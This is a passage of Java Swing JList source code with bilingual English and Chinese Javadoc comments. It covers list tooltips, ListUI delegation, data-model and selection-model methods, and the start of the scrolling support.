cellBounds.contains(p.x, p.y)) {
ListSelectionModel lsm = getSelectionModel();
Component rComponent = r.getListCellRendererComponent(
this, getModel().getElementAt(index), index,
lsm.isSelectedIndex(index),
(hasFocus() && (lsm.getLeadSelectionIndex() ==
index)));
if(rComponent instanceof JComponent) {
MouseEvent newEvent;
p.translate(-cellBounds.x, -cellBounds.y);
newEvent = new MouseEvent(rComponent, event.getID(),
event.getWhen(),
event.getModifiers(),
p.x, p.y,
event.getXOnScreen(),
event.getYOnScreen(),
event.getClickCount(),
event.isPopupTrigger(),
MouseEvent.NOBUTTON);
String tip = ((JComponent)rComponent).getToolTipText(
newEvent);
if (tip != null) {
return tip;
}
}
}
}
return super.getToolTipText();
}
/**
* --- ListUI Delegations ---
* <p>
* --- ListUI代理---
*
*/
/**
* Returns the cell index closest to the given location in the list's
* coordinate system. To determine if the cell actually contains the
* specified location, compare the point against the cell's bounds,
* as provided by {@code getCellBounds}. This method returns {@code -1}
* if the model is empty
* <p>
* This is a cover method that delegates to the method of the same name
* in the list's {@code ListUI}. It returns {@code -1} if the list has
* no {@code ListUI}.
*
* <p>
* 返回最接近列表坐标系中给定位置的单元格索引。要确定单元格是否实际包含指定的位置,请将该点与单元格的边界(由{@code getCellBounds}提供)进行比较。
* 如果模型为空,此方法返回{@code -1}。
* <p>
* 这是一个覆盖方法,在列表的{@code ListUI}中委托同名方法。如果列表没有{@code ListUI},则返回{@code -1}。
*
*
* @param location the coordinates of the point
* @return the cell index closest to the given location, or {@code -1}
*/
public int locationToIndex(Point location) {
ListUI ui = getUI();
return (ui != null) ? ui.locationToIndex(this, location) : -1;
}
/**
* Returns the origin of the specified item in the list's coordinate
* system. This method returns {@code null} if the index isn't valid.
* <p>
* This is a cover method that delegates to the method of the same name
* in the list's {@code ListUI}. It returns {@code null} if the list has
* no {@code ListUI}.
*
* <p>
* 返回列表坐标系中指定项目的原点。如果索引无效,此方法返回{@code null}。
* <p>
* 这是一个覆盖方法,在列表的{@code ListUI}中委托同名方法。如果列表没有{@code ListUI},则返回{@code null}。
*
*
* @param index the cell index
* @return the origin of the cell, or {@code null}
*/
public Point indexToLocation(int index) {
ListUI ui = getUI();
return (ui != null) ? ui.indexToLocation(this, index) : null;
}
/**
* Returns the bounding rectangle, in the list's coordinate system,
* for the range of cells specified by the two indices.
* These indices can be supplied in any order.
* <p>
* If the smaller index is outside the list's range of cells, this method
* returns {@code null}. If the smaller index is valid, but the larger
* index is outside the list's range, the bounds of just the first index
* is returned. Otherwise, the bounds of the valid range is returned.
* <p>
* This is a cover method that delegates to the method of the same name
* in the list's {@code ListUI}. It returns {@code null} if the list has
* no {@code ListUI}.
*
* <p>
* 在列表的坐标系中返回由两个索引指定的单元格范围的边界矩形。这些索引可以按任何顺序提供。
* <p>
* 如果较小的索引在列表的单元格范围之外,则此方法返回{@code null}。如果较小的索引有效,但较大的索引在列表的范围之外,则只返回第一个索引的边界。否则,返回有效范围的边界。
* <p>
* 这是一个覆盖方法,在列表的{@code ListUI}中委托同名方法。如果列表没有{@code ListUI},则返回{@code null}。
*
*
* @param index0 the first index in the range
* @param index1 the second index in the range
* @return the bounding rectangle for the range of cells, or {@code null}
*/
public Rectangle getCellBounds(int index0, int index1) {
ListUI ui = getUI();
return (ui != null) ? ui.getCellBounds(this, index0, index1) : null;
}
/**
* --- ListModel Support ---
* <p>
* --- ListModel支持---
*
*/
/**
* Returns the data model that holds the list of items displayed
* by the <code>JList</code> component.
*
* <p>
* 返回保存由<code> JList </code>组件显示的项目列表的数据模型。
*
*
* @return the <code>ListModel</code> that provides the displayed
* list of items
* @see #setModel
*/
public ListModel<E> getModel() {
return dataModel;
}
/**
* Sets the model that represents the contents or "value" of the
* list, notifies property change listeners, and then clears the
* list's selection.
* <p>
* This is a JavaBeans bound property.
*
* <p>
* 设置表示列表的内容或"值"的模型,通知属性更改侦听器,然后清除列表的选择。
* <p>
* 这是一个JavaBeans绑定属性。
*
*
* @param model the <code>ListModel</code> that provides the
* list of items for display
* @exception IllegalArgumentException if <code>model</code> is
* <code>null</code>
* @see #getModel
* @see #clearSelection
* @beaninfo
* bound: true
* attribute: visualUpdate true
* description: The object that contains the data to be drawn by this JList.
*/
public void setModel(ListModel<E> model) {
if (model == null) {
throw new IllegalArgumentException("model must be non null");
}
ListModel<E> oldValue = dataModel;
dataModel = model;
firePropertyChange("model", oldValue, dataModel);
clearSelection();
}
/**
* Constructs a read-only <code>ListModel</code> from an array of items,
* and calls {@code setModel} with this model.
* <p>
* Attempts to pass a {@code null} value to this method results in
* undefined behavior and, most likely, exceptions. The created model
* references the given array directly. Attempts to modify the array
* after invoking this method results in undefined behavior.
*
* <p>
* 从项目数组构造只读<code> ListModel </code>,并使用此模型调用{@code setModel}。
* <p>
* 尝试向此方法传递{@code null}值会导致未定义的行为,并且很可能会出现异常。创建的模型直接引用给定的数组。尝试在调用此方法后修改数组会导致未定义的行为。
*
*
* @param listData an array of {@code E} containing the items to
* display in the list
* @see #setModel
*/
public void setListData(final E[] listData) {
setModel (
new AbstractListModel<E>() {
public int getSize() { return listData.length; }
public E getElementAt(int i) { return listData[i]; }
}
);
}
/**
* Constructs a read-only <code>ListModel</code> from a <code>Vector</code>
* and calls {@code setModel} with this model.
* <p>
* Attempts to pass a {@code null} value to this method results in
* undefined behavior and, most likely, exceptions. The created model
* references the given {@code Vector} directly. Attempts to modify the
* {@code Vector} after invoking this method results in undefined behavior.
*
* <p>
* 从<code> Vector </code>构造只读<code> ListModel </code>,并使用此模型调用{@code setModel}。
* <p>
* 尝试向此方法传递{@code null}值会导致未定义的行为,并且很可能会出现异常。创建的模型直接引用给定的{@code Vector}。
* 尝试在调用此方法后修改{@code Vector}会导致未定义的行为。
*
*
* @param listData a <code>Vector</code> containing the items to
* display in the list
* @see #setModel
*/
public void setListData(final Vector<? extends E> listData) {
setModel (
new AbstractListModel<E>() {
public int getSize() { return listData.size(); }
public E getElementAt(int i) { return listData.elementAt(i); }
}
);
}
/**
* --- ListSelectionModel delegations and extensions ---
* <p>
* --- ListSelectionModel委托和扩展---
*
*/
/**
* Returns an instance of {@code DefaultListSelectionModel}; called
* during construction to initialize the list's selection model
* property.
*
* <p>
* 返回{@code DefaultListSelectionModel}的实例;在构造期间调用以初始化列表的选择模型属性。
*
*
* @return a {@code DefaultListSelecitonModel}, used to initialize
* the list's selection model property during construction
* @see #setSelectionModel
* @see DefaultListSelectionModel
*/
protected ListSelectionModel createSelectionModel() {
return new DefaultListSelectionModel();
}
/**
* Returns the current selection model. The selection model maintains the
* selection state of the list. See the class level documentation for more
* details.
*
* <p>
* 返回当前选择模型。选择模型维护列表的选择状态。有关更多详细信息,请参阅类级文档。
*
*
* @return the <code>ListSelectionModel</code> that maintains the
* list's selections
*
* @see #setSelectionModel
* @see ListSelectionModel
*/
public ListSelectionModel getSelectionModel() {
return selectionModel;
}
/**
* Notifies {@code ListSelectionListener}s added directly to the list
* of selection changes made to the selection model. {@code JList}
* listens for changes made to the selection in the selection model,
* and forwards notification to listeners added to the list directly,
* by calling this method.
* <p>
* This method constructs a {@code ListSelectionEvent} with this list
* as the source, and the specified arguments, and sends it to the
* registered {@code ListSelectionListeners}.
*
* <p>
* 通知{@code ListSelectionListener}直接添加到对选择模型所做的选择更改列表中。
* {@code JList}侦听对选择模型中的选择所做的更改,并通过调用此方法将通知直接转发到添加到列表中的侦听器。
* <p>
* 此方法构造一个{@code ListSelectionEvent},此列表作为源和指定的参数,并将其发送到已注册的{@code ListSelectionListeners}。
*
*
* @param firstIndex the first index in the range, {@code <= lastIndex}
* @param lastIndex the last index in the range, {@code >= firstIndex}
* @param isAdjusting whether or not this is one in a series of
* multiple events, where changes are still being made
*
* @see #addListSelectionListener
* @see #removeListSelectionListener
* @see javax.swing.event.ListSelectionEvent
* @see EventListenerList
*/
protected void fireSelectionValueChanged(int firstIndex, int lastIndex,
boolean isAdjusting)
{
Object[] listeners = listenerList.getListenerList();
ListSelectionEvent e = null;
for (int i = listeners.length - 2; i >= 0; i -= 2) {
if (listeners[i] == ListSelectionListener.class) {
if (e == null) {
e = new ListSelectionEvent(this, firstIndex, lastIndex,
isAdjusting);
}
((ListSelectionListener)listeners[i+1]).valueChanged(e);
}
}
}
/* A ListSelectionListener that forwards ListSelectionEvents from
* the selectionModel to the JList ListSelectionListeners. The
* forwarded events only differ from the originals in that their
* source is the JList instead of the selectionModel itself.
* <p>
* selectionModel到JList ListSelectionListeners。转发的事件只不同于原始的,因为它们的源是JList而不是selectionModel本身。
*
*/
private class ListSelectionHandler implements ListSelectionListener, Serializable
{
public void valueChanged(ListSelectionEvent e) {
fireSelectionValueChanged(e.getFirstIndex(),
e.getLastIndex(),
e.getValueIsAdjusting());
}
}
/**
* Adds a listener to the list, to be notified each time a change to the
* selection occurs; the preferred way of listening for selection state
* changes. {@code JList} takes care of listening for selection state
* changes in the selection model, and notifies the given listener of
* each change. {@code ListSelectionEvent}s sent to the listener have a
* {@code source} property set to this list.
*
* <p>
* 向列表添加侦听器,每当对选择进行更改时通知侦听器;监听选择状态变化的首选方式。 {@code JList}负责监听选择模型中的选择状态变化,并通知给定的监听器每个变化。
* {@code ListSelectionEvent}发送到侦听器时,会将{@code source}属性设置为此列表。
*
*
* @param listener the {@code ListSelectionListener} to add
* @see #getSelectionModel
* @see #getListSelectionListeners
*/
public void addListSelectionListener(ListSelectionListener listener)
{
if (selectionListener == null) {
selectionListener = new ListSelectionHandler();
getSelectionModel().addListSelectionListener(selectionListener);
}
listenerList.add(ListSelectionListener.class, listener);
}
/**
* Removes a selection listener from the list.
*
* <p>
* 从列表中删除选择侦听器。
*
*
* @param listener the {@code ListSelectionListener} to remove
* @see #addListSelectionListener
* @see #getSelectionModel
*/
public void removeListSelectionListener(ListSelectionListener listener) {
listenerList.remove(ListSelectionListener.class, listener);
}
/**
* Returns an array of all the {@code ListSelectionListener}s added
* to this {@code JList} by way of {@code addListSelectionListener}.
*
* <p>
* 通过{@code addListSelectionListener}返回添加到此{@code JList}的所有{@code ListSelectionListener}的数组。
*
*
* @return all of the {@code ListSelectionListener}s on this list, or
* an empty array if no listeners have been added
* @see #addListSelectionListener
* @since 1.4
*/
public ListSelectionListener[] getListSelectionListeners() {
return listenerList.getListeners(ListSelectionListener.class);
}
/**
* Sets the <code>selectionModel</code> for the list to a
* non-<code>null</code> <code>ListSelectionModel</code>
* implementation. The selection model handles the task of making single
* selections, selections of contiguous ranges, and non-contiguous
* selections.
* <p>
* This is a JavaBeans bound property.
*
* <p>
* 将列表的<code> selectionModel </code>设置为非<code> null </code> <code> ListSelectionModel </code>实现。
* 选择模型处理单个选择,连续范围选择和不连续选择的任务。
* <p>
* 这是一个JavaBeans绑定属性。
*
*
* @param selectionModel the <code>ListSelectionModel</code> that
* implements the selections
* @exception IllegalArgumentException if <code>selectionModel</code>
* is <code>null</code>
* @see #getSelectionModel
* @beaninfo
* bound: true
* description: The selection model, recording which cells are selected.
*/
public void setSelectionModel(ListSelectionModel selectionModel) {
if (selectionModel == null) {
throw new IllegalArgumentException("selectionModel must be non null");
}
/* Remove the forwarding ListSelectionListener from the old
* selectionModel, and add it to the new one, if necessary.
* <p>
* selectionModel,并将其添加到新的,如果需要。
*
*/
if (selectionListener != null) {
this.selectionModel.removeListSelectionListener(selectionListener);
selectionModel.addListSelectionListener(selectionListener);
}
ListSelectionModel oldValue = this.selectionModel;
this.selectionModel = selectionModel;
firePropertyChange("selectionModel", oldValue, selectionModel);
}
/**
* Sets the selection mode for the list. This is a cover method that sets
* the selection mode directly on the selection model.
* <p>
* The following list describes the accepted selection modes:
* <ul>
* <li>{@code ListSelectionModel.SINGLE_SELECTION} -
* Only one list index can be selected at a time. In this mode,
* {@code setSelectionInterval} and {@code addSelectionInterval} are
* equivalent, both replacing the current selection with the index
* represented by the second argument (the "lead").
* <li>{@code ListSelectionModel.SINGLE_INTERVAL_SELECTION} -
* Only one contiguous interval can be selected at a time.
* In this mode, {@code addSelectionInterval} behaves like
* {@code setSelectionInterval} (replacing the current selection},
* unless the given interval is immediately adjacent to or overlaps
* the existing selection, and can be used to grow the selection.
* <li>{@code ListSelectionModel.MULTIPLE_INTERVAL_SELECTION} -
* In this mode, there's no restriction on what can be selected.
* This mode is the default.
* </ul>
*
* <p>
* 设置列表的选择模式。这是一种直接在选择模型上设置选择模式的覆盖方法。
* <p>
* 以下列表描述了接受的选择模式:
* <ul>
* <li> {@ code ListSelectionModel.SINGLE_SELECTION} - 一次只能选择一个列表索引。
* 在这种模式下,{@code setSelectionInterval}和{@code addSelectionInterval}是等效的,都将当前选择替换为由第二个参数("lead")表示的索引。
* <li> {@ code ListSelectionModel.SINGLE_INTERVAL_SELECTION} - 一次只能选择一个连续的时间间隔。
* 在这种模式下,{@code addSelectionInterval}的行为类似于{@code setSelectionInterval}(替换当前选择),除非给定的间隔与现有选择直接相邻或重叠,并可用
* 于增大选择。
* <li> {@ code ListSelectionModel.SINGLE_INTERVAL_SELECTION} - 一次只能选择一个连续的时间间隔。
* <li> @code ListSelectionModel.MULTIPLE_INTERVAL_SELECTION} - 在此模式下,对可选择的内容没有限制,此模式是默认模式。
* </ul>
*
*
* @param selectionMode the selection mode
* @see #getSelectionMode
* @throws IllegalArgumentException if the selection mode isn't
* one of those allowed
* @beaninfo
* description: The selection mode.
* enum: SINGLE_SELECTION ListSelectionModel.SINGLE_SELECTION
* SINGLE_INTERVAL_SELECTION ListSelectionModel.SINGLE_INTERVAL_SELECTION
* MULTIPLE_INTERVAL_SELECTION ListSelectionModel.MULTIPLE_INTERVAL_SELECTION
*/
public void setSelectionMode(int selectionMode) {
getSelectionModel().setSelectionMode(selectionMode);
}
/**
* Returns the current selection mode for the list. This is a cover
* method that delegates to the method of the same name on the
* list's selection model.
*
* <p>
* 返回列表的当前选择模式。这是一个覆盖方法,它在列表的选择模型上委托同名的方法。
*
*
* @return the current selection mode
* @see #setSelectionMode
*/
public int getSelectionMode() {
return getSelectionModel().getSelectionMode();
}
/**
* Returns the anchor selection index. This is a cover method that
* delegates to the method of the same name on the list's selection model.
*
* <p>
* 返回锚选择索引。这是一个覆盖方法,它在列表的选择模型上委托同名的方法。
*
*
* @return the anchor selection index
* @see ListSelectionModel#getAnchorSelectionIndex
*/
public int getAnchorSelectionIndex() {
return getSelectionModel().getAnchorSelectionIndex();
}
/**
* Returns the lead selection index. This is a cover method that
* delegates to the method of the same name on the list's selection model.
*
* <p>
* 返回潜在客户选择索引。这是一个覆盖方法,它在列表的选择模型上委托同名的方法。
*
*
* @return the lead selection index
* @see ListSelectionModel#getLeadSelectionIndex
* @beaninfo
* description: The lead selection index.
*/
public int getLeadSelectionIndex() {
return getSelectionModel().getLeadSelectionIndex();
}
/**
* Returns the smallest selected cell index, or {@code -1} if the selection
* is empty. This is a cover method that delegates to the method of the same
* name on the list's selection model.
*
* <p>
* 返回最小的选定单元格索引,如果选择为空,则返回{@code -1}。这是一个覆盖方法,它在列表的选择模型上委托同名的方法。
*
*
* @return the smallest selected cell index, or {@code -1}
* @see ListSelectionModel#getMinSelectionIndex
*/
public int getMinSelectionIndex() {
return getSelectionModel().getMinSelectionIndex();
}
/**
* Returns the largest selected cell index, or {@code -1} if the selection
* is empty. This is a cover method that delegates to the method of the same
* name on the list's selection model.
*
* <p>
* 返回最大的选定单元格索引,如果选择为空,则返回{@code -1}。这是一个覆盖方法,它在列表的选择模型上委托同名的方法。
*
*
* @return the largest selected cell index
* @see ListSelectionModel#getMaxSelectionIndex
*/
public int getMaxSelectionIndex() {
return getSelectionModel().getMaxSelectionIndex();
}
/**
* Returns {@code true} if the specified index is selected,
* else {@code false}. This is a cover method that delegates to the method
* of the same name on the list's selection model.
*
* <p>
* 如果选择了指定的索引,则返回{@code true},否则返回{@code false}。这是一个覆盖方法,它在列表的选择模型上委托同名的方法。
*
*
* @param index index to be queried for selection state
* @return {@code true} if the specified index is selected,
* else {@code false}
* @see ListSelectionModel#isSelectedIndex
* @see #setSelectedIndex
*/
public boolean isSelectedIndex(int index) {
return getSelectionModel().isSelectedIndex(index);
}
/**
* Returns {@code true} if nothing is selected, else {@code false}.
* This is a cover method that delegates to the method of the same
* name on the list's selection model.
*
* <p>
* 如果没有选择,返回{@code true},否则返回{@code false}。这是一个覆盖方法,它在列表的选择模型上委托同名的方法。
*
*
* @return {@code true} if nothing is selected, else {@code false}
* @see ListSelectionModel#isSelectionEmpty
* @see #clearSelection
*/
public boolean isSelectionEmpty() {
return getSelectionModel().isSelectionEmpty();
}
/**
* Clears the selection; after calling this method, {@code isSelectionEmpty}
* will return {@code true}. This is a cover method that delegates to the
* method of the same name on the list's selection model.
*
* <p>
* 清除选择;调用此方法后,{@code isSelectionEmpty}将返回{@code true}。这是一个覆盖方法,它在列表的选择模型上委托同名的方法。
*
*
* @see ListSelectionModel#clearSelection
* @see #isSelectionEmpty
*/
public void clearSelection() {
getSelectionModel().clearSelection();
}
/**
* Selects the specified interval. Both {@code anchor} and {@code lead}
* indices are included. {@code anchor} doesn't have to be less than or
* equal to {@code lead}. This is a cover method that delegates to the
* method of the same name on the list's selection model.
* <p>
* Refer to the documentation of the selection model class being used
* for details on how values less than {@code 0} are handled.
*
* <p>
* 选择指定的间隔。包括{@code anchor}和{@code lead}索引。 {@code anchor}不必小于或等于{@code lead}。
* 这是一个覆盖方法,它在列表的选择模型上委托同名的方法。
* <p>
* 有关如何处理小于{@code 0}的值的详细信息,请参阅用于选择模型类的文档。
*
*
* @param anchor the first index to select
* @param lead the last index to select
* @see ListSelectionModel#setSelectionInterval
* @see DefaultListSelectionModel#setSelectionInterval
* @see #createSelectionModel
* @see #addSelectionInterval
* @see #removeSelectionInterval
*/
public void setSelectionInterval(int anchor, int lead) {
getSelectionModel().setSelectionInterval(anchor, lead);
}
/**
* Sets the selection to be the union of the specified interval with current
* selection. Both the {@code anchor} and {@code lead} indices are
* included. {@code anchor} doesn't have to be less than or
* equal to {@code lead}. This is a cover method that delegates to the
* method of the same name on the list's selection model.
* <p>
* Refer to the documentation of the selection model class being used
* for details on how values less than {@code 0} are handled.
*
* <p>
* 将选择设置为指定时间间隔与当前选择的并集。包括{@code anchor}和{@code lead}索引。 {@code anchor}不必小于或等于{@code lead}。
* 这是一个覆盖方法,它在列表的选择模型上委托同名的方法。
* <p>
* 有关如何处理小于{@code 0}的值的详细信息,请参阅用于选择模型类的文档。
*
*
* @param anchor the first index to add to the selection
* @param lead the last index to add to the selection
* @see ListSelectionModel#addSelectionInterval
* @see DefaultListSelectionModel#addSelectionInterval
* @see #createSelectionModel
* @see #setSelectionInterval
* @see #removeSelectionInterval
*/
public void addSelectionInterval(int anchor, int lead) {
getSelectionModel().addSelectionInterval(anchor, lead);
}
/**
* Sets the selection to be the set difference of the specified interval
* and the current selection. Both the {@code index0} and {@code index1}
* indices are removed. {@code index0} doesn't have to be less than or
* equal to {@code index1}. This is a cover method that delegates to the
* method of the same name on the list's selection model.
* <p>
* Refer to the documentation of the selection model class being used
* for details on how values less than {@code 0} are handled.
*
* <p>
* 将选择设置为指定间隔和当前选择的设置差值。将删除{@code index0}和{@code index1}索引。 {@code index0}不必小于或等于{@code index1}。
* 这是一个覆盖方法,它在列表的选择模型上委托同名的方法。
* <p>
* 有关如何处理小于{@code 0}的值的详细信息,请参阅用于选择模型类的文档。
*
*
* @param index0 the first index to remove from the selection
* @param index1 the last index to remove from the selection
* @see ListSelectionModel#removeSelectionInterval
* @see DefaultListSelectionModel#removeSelectionInterval
* @see #createSelectionModel
* @see #setSelectionInterval
* @see #addSelectionInterval
*/
public void removeSelectionInterval(int index0, int index1) {
getSelectionModel().removeSelectionInterval(index0, index1);
}
/**
* Sets the selection model's {@code valueIsAdjusting} property. When
* {@code true}, upcoming changes to selection should be considered part
* of a single change. This property is used internally and developers
* typically need not call this method. For example, when the model is being
* updated in response to a user drag, the value of the property is set
* to {@code true} when the drag is initiated and set to {@code false}
* when the drag is finished. This allows listeners to update only
* when a change has been finalized, rather than handling all of the
* intermediate values.
* <p>
* You may want to use this directly if making a series of changes
* that should be considered part of a single change.
* <p>
* This is a cover method that delegates to the method of the same name on
* the list's selection model. See the documentation for
* {@link javax.swing.ListSelectionModel#setValueIsAdjusting} for
* more details.
*
* <p>
* 设置选择模型的{@code valueIsAdjusting}属性。当{@code true}时,即将发生的选择更改应视为单次更改的一部分。此属性在内部使用,开发人员通常不需要调用此方法。
* 例如,当模型响应用户拖动而更新时,属性的值在启动拖动时设置为{@code true},并在拖动完成时设置为{@code false}。这允许侦听器仅在更改已完成时更新,而不是处理所有中间值。
* <p>
* 如果进行一系列应该被视为单个更改的一部分的更改,您可能需要直接使用它。
* <p>
* 这是一个覆盖方法,它在列表的选择模型上委托同名的方法。
* 有关更多详细信息,请参阅{@link javax.swing.ListSelectionModel#setValueIsAdjusting}的文档。
*
*
* @param b the new value for the property
* @see ListSelectionModel#setValueIsAdjusting
* @see javax.swing.event.ListSelectionEvent#getValueIsAdjusting
* @see #getValueIsAdjusting
*/
public void setValueIsAdjusting(boolean b) {
getSelectionModel().setValueIsAdjusting(b);
}
/**
* Returns the value of the selection model's {@code isAdjusting} property.
* <p>
* This is a cover method that delegates to the method of the same name on
* the list's selection model.
*
* <p>
* 返回选择模型的{@code isAdjusting}属性的值。
* <p>
* 这是一个覆盖方法,它在列表的选择模型上委托同名的方法。
*
*
* @return the value of the selection model's {@code isAdjusting} property.
*
* @see #setValueIsAdjusting
* @see ListSelectionModel#getValueIsAdjusting
*/
public boolean getValueIsAdjusting() {
return getSelectionModel().getValueIsAdjusting();
}
/**
* Returns an array of all of the selected indices, in increasing
* order.
*
* <p>
* 以递增的顺序返回所有所选索引的数组。
*
*
* @return all of the selected indices, in increasing order,
* or an empty array if nothing is selected
* @see #removeSelectionInterval
* @see #addListSelectionListener
*/
@Transient
public int[] getSelectedIndices() {
ListSelectionModel sm = getSelectionModel();
int iMin = sm.getMinSelectionIndex();
int iMax = sm.getMaxSelectionIndex();
if ((iMin < 0) || (iMax < 0)) {
return new int[0];
}
int[] rvTmp = new int[1+ (iMax - iMin)];
int n = 0;
for(int i = iMin; i <= iMax; i++) {
if (sm.isSelectedIndex(i)) {
rvTmp[n++] = i;
}
}
int[] rv = new int[n];
System.arraycopy(rvTmp, 0, rv, 0, n);
return rv;
}
/**
* Selects a single cell. Does nothing if the given index is greater
* than or equal to the model size. This is a convenience method that uses
* {@code setSelectionInterval} on the selection model. Refer to the
* documentation for the selection model class being used for details on
* how values less than {@code 0} are handled.
*
* <p>
* 选择单个单元格。如果给定的索引大于或等于模型大小,则不执行任何操作。这是一个方便的方法,在选择模型上使用{@code setSelectionInterval}。
* 有关如何处理小于{@code 0}的值的详细信息,请参阅用于选择模型类的文档。
*
*
* @param index the index of the cell to select
* @see ListSelectionModel#setSelectionInterval
* @see #isSelectedIndex
* @see #addListSelectionListener
* @beaninfo
* description: The index of the selected cell.
*/
public void setSelectedIndex(int index) {
if (index >= getModel().getSize()) {
return;
}
getSelectionModel().setSelectionInterval(index, index);
}
/**
* Changes the selection to be the set of indices specified by the given
* array. Indices greater than or equal to the model size are ignored.
* This is a convenience method that clears the selection and then uses
* {@code addSelectionInterval} on the selection model to add the indices.
* Refer to the documentation of the selection model class being used for
* details on how values less than {@code 0} are handled.
*
* <p>
* 将选择更改为由给定数组指定的索引集。大于或等于模型大小的指数将被忽略。这是一个方便的方法,清除选择,然后在选择模型上使用{@code addSelectionInterval}添加索引。
* 有关如何处理小于{@code 0}的值的详细信息,请参阅用于选择模型类的文档。
*
*
* @param indices an array of the indices of the cells to select,
* {@code non-null}
* @see ListSelectionModel#addSelectionInterval
* @see #isSelectedIndex
* @see #addListSelectionListener
* @throws NullPointerException if the given array is {@code null}
*/
public void setSelectedIndices(int[] indices) {
ListSelectionModel sm = getSelectionModel();
sm.clearSelection();
int size = getModel().getSize();
for (int i : indices) {
if (i < size) {
sm.addSelectionInterval(i, i);
}
}
}
/**
* Returns an array of all the selected values, in increasing order based
* on their indices in the list.
*
* <p>
* 返回所有选定值的数组,按照列表中的索引按升序排列。
*
*
* @return the selected values, or an empty array if nothing is selected
* @see #isSelectedIndex
* @see #getModel
* @see #addListSelectionListener
*
* @deprecated As of JDK 1.7, replaced by {@link #getSelectedValuesList()}
*/
@Deprecated
public Object[] getSelectedValues() {
ListSelectionModel sm = getSelectionModel();
ListModel<E> dm = getModel();
int iMin = sm.getMinSelectionIndex();
int iMax = sm.getMaxSelectionIndex();
if ((iMin < 0) || (iMax < 0)) {
return new Object[0];
}
Object[] rvTmp = new Object[1+ (iMax - iMin)];
int n = 0;
for(int i = iMin; i <= iMax; i++) {
if (sm.isSelectedIndex(i)) {
rvTmp[n++] = dm.getElementAt(i);
}
}
Object[] rv = new Object[n];
System.arraycopy(rvTmp, 0, rv, 0, n);
return rv;
}
/**
* Returns a list of all the selected items, in increasing order based
* on their indices in the list.
*
* <p>
* 根据列表中的索引以递增顺序返回所有选定项目的列表。
*
*
* @return the selected items, or an empty list if nothing is selected
* @see #isSelectedIndex
* @see #getModel
* @see #addListSelectionListener
*
* @since 1.7
*/
public List<E> getSelectedValuesList() {
ListSelectionModel sm = getSelectionModel();
ListModel<E> dm = getModel();
int iMin = sm.getMinSelectionIndex();
int iMax = sm.getMaxSelectionIndex();
if ((iMin < 0) || (iMax < 0)) {
return Collections.emptyList();
}
List<E> selectedItems = new ArrayList<E>();
for(int i = iMin; i <= iMax; i++) {
if (sm.isSelectedIndex(i)) {
selectedItems.add(dm.getElementAt(i));
}
}
return selectedItems;
}
/**
* Returns the smallest selected cell index; <i>the selection</i> when only
* a single item is selected in the list. When multiple items are selected,
* it is simply the smallest selected index. Returns {@code -1} if there is
* no selection.
* <p>
* This method is a cover that delegates to {@code getMinSelectionIndex}.
*
* <p>
* 返回最小的选定单元格索引; <i>选择</i>时,在列表中只选择一个项目。当选择多个项目时,它只是最小的所选索引。如果没有选择,则返回{@code -1}。
* <p>
* 此方法是委托{@code getMinSelectionIndex}的封面。
*
*
* @return the smallest selected cell index
* @see #getMinSelectionIndex
* @see #addListSelectionListener
*/
public int getSelectedIndex() {
return getMinSelectionIndex();
}
/**
* Returns the value for the smallest selected cell index;
* <i>the selected value</i> when only a single item is selected in the
* list. When multiple items are selected, it is simply the value for the
* smallest selected index. Returns {@code null} if there is no selection.
* <p>
* This is a convenience method that simply returns the model value for
* {@code getMinSelectionIndex}.
*
* <p>
* 返回最小选定单元格索引的值; <i>所选值</i>,当列表中只选择一个项目时。当选择多个项目时,它只是所选最小索引的值。如果没有选择,则返回{@code null}。
* <p>
* 这是一个方便的方法,只返回{@code getMinSelectionIndex}的模型值。
*
*
* @return the first selected value
* @see #getMinSelectionIndex
* @see #getModel
* @see #addListSelectionListener
*/
public E getSelectedValue() {
int i = getMinSelectionIndex();
return (i == -1) ? null : getModel().getElementAt(i);
}
/**
* Selects the specified object from the list.
*
* <p>
* 从列表中选择指定的对象。
*
*
* @param anObject the object to select
* @param shouldScroll {@code true} if the list should scroll to display
* the selected object, if one exists; otherwise {@code false}
*/
public void setSelectedValue(Object anObject,boolean shouldScroll) {
if(anObject == null)
setSelectedIndex(-1);
else if(!anObject.equals(getSelectedValue())) {
int i,c;
ListModel<E> dm = getModel();
for(i=0,c=dm.getSize();i<c;i++)
if(anObject.equals(dm.getElementAt(i))){
setSelectedIndex(i);
if(shouldScroll)
ensureIndexIsVisible(i);
repaint(); /** FIX-ME setSelectedIndex does not redraw all the time with the basic l&f**/
return;
}
setSelectedIndex(-1);
}
repaint(); /** FIX-ME setSelectedIndex does not redraw all the time with the basic l&f**/
}
/**
* --- The Scrollable Implementation ---
* <p>
* ---滚动实现---
*
*/
private void checkScrollableParameters(Rectangle visibleRect, int orientation) {
if (visibleRect == null) {
throw new IllegalArgumentException("visibleRect must be non-null");
}
switch (orientation) {
case SwingConstants.VERTICAL:
case SwingConstants.HORIZONTAL:
break;
default:
throw new IllegalArgumentException("orientation must be one of: VERTICAL, HORIZONTAL");
}
}
/**
* Computes the size of viewport needed to display {@code visibleRowCount}
* rows. The value returned by this method depends on the layout
* orientation:
* <p>
* <b>{@code VERTICAL}:</b>
* <br>
* This is trivial if both {@code fixedCellWidth} and {@code fixedCellHeight}
* have been set (either explicitly or by specifying a prototype cell value).
* The width is simply the {@code fixedCellWidth} plus the list's horizontal
* insets. The height is the {@code fixedCellHeight} multiplied by the
* {@code visibleRowCount}, plus the list's vertical insets.
* <p>
* If either {@code fixedCellWidth} or {@code fixedCellHeight} haven't been
* specified, heuristics are used. If the model is empty, the width is
* the {@code fixedCellWidth}, if greater than {@code 0}, or a hard-coded
* value of {@code 256}. The height is the {@code fixedCellHeight} multiplied
* by {@code visibleRowCount}, if {@code fixedCellHeight} is greater than
* {@code 0}, otherwise it is a hard-coded value of {@code 16} multiplied by
* {@code visibleRowCount}.
* <p>
* If the model isn't empty, the width is the preferred size's width,
* typically the width of the widest list element. The height is the
* {@code fixedCellHeight} multiplied by the {@code visibleRowCount},
* plus the list's vertical insets.
* <p>
* <b>{@code VERTICAL_WRAP} or {@code HORIZONTAL_WRAP}:</b>
* <br>
* This method simply returns the value from {@code getPreferredSize}.
* The list's {@code ListUI} is expected to override {@code getPreferredSize}
* to return an appropriate value.
*
* <p>
* 计算显示{@code visibleRowCount}行所需的视口大小。此方法返回的值取决于布局方向:
* <p>
* <b> {@ code VERTICAL}:</b>
* <br>
* 如果已经设置了{@code fixedCellWidth}和{@code fixedCellHeight}(显式地或通过指定原型单元格值),这是微不足道的。
* 宽度只是{@code fixedCellWidth}加上列表的水平插图。高度是{@code fixedCellHeight}乘以{@code visibleRowCount},加上列表的垂直插入。
* <p>
